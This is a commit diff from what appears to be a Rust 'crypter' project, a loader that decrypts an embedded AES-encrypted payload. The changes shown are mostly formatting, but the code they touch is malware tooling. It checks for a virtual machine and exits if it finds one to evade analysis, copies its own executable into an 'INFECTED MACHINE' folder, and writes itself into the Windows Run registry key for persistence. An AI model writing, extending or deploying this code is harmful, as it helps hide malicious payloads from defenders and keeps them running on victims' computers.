Adding the ability to pass the EXE name as a commandline argument. I like this better than having a hardcoded exe name

This commit is contained in:
mitch edwards // valhalla_dev
2024-07-15 10:43:28 -05:00
parent b549c514e9
commit ba8d0feeb9
4 changed files with 32 additions and 32 deletions
+14 -21
View File
@@ -1,27 +1,20 @@
use aes::cipher::{generic_array::GenericArray, BlockDecrypt, KeyInit};
use aes::Aes128;
use aes::cipher::{BlockDecrypt, KeyInit,
generic_array::GenericArray,
};
use inside_vm::inside_vm;
use std::process::Command;
use std::{fs, env};
use std::io::{Read, Cursor, self};
use std::io::Result;
use std::io::{self, Cursor, Read};
use std::path::Path;
use std::process::Command;
use std::{env, fs};
use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
use winreg::RegKey;
fn main() {
if inside_vm(){
if inside_vm() {
println!("This is in a vm");
std::process::exit(0);
} else {
println!("NO VM");
create_infected_directory();
@@ -43,7 +36,7 @@ fn decrypt_file() -> Result<Vec<u8>> {
let key = GenericArray::from(key_bytes);
let cipher = Aes128::new(&key);
// Decrypt the encrypted bytes in blocks
// Decrypt the encrypted bytes in blocks
let mut decrypted_bytes = Vec::new();
for block in encrypted_bytes.chunks(16) {
let mut block_array = GenericArray::clone_from_slice(block);
@@ -54,9 +47,9 @@ fn decrypt_file() -> Result<Vec<u8>> {
// Unpad the decrypted bytes
let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();
// return decrypted bytes
Ok(decrypted_bytes, )
Ok(decrypted_bytes)
}
fn create_infected_directory() -> io::Result<()> {
@@ -64,9 +57,8 @@ fn create_infected_directory() -> io::Result<()> {
fs::create_dir_all(&infected_dir)?;
let current_exe = env::current_exe()?;
let current_exe_filename = current_exe
.file_name();
let current_exe_filename = current_exe.file_name();
let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
fs::copy(&current_exe, &infected_exe_path)?;
@@ -85,17 +77,18 @@ fn create_infected_directory() -> io::Result<()> {
}
fn persistence() -> io::Result<()> {
if let Ok(current_exe) = env::current_exe() {
if let Some(file_name) = current_exe.file_stem() {
let executable_name = file_name.to_string_lossy();
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
let file_path = format!("{}{}.exe", directory_path, executable_name);
// Open the "Run" registry key
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let run_key = hkcu.open_subkey_with_flags("Software\\Microsoft\\Windows\\CurrentVersion\\Run", KEY_ALL_ACCESS)?;
let run_key = hkcu.open_subkey_with_flags(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
KEY_ALL_ACCESS,
)?;
// Add the executable path to the "Run" registry key
run_key.set_value("RustCrypter", &file_path).err();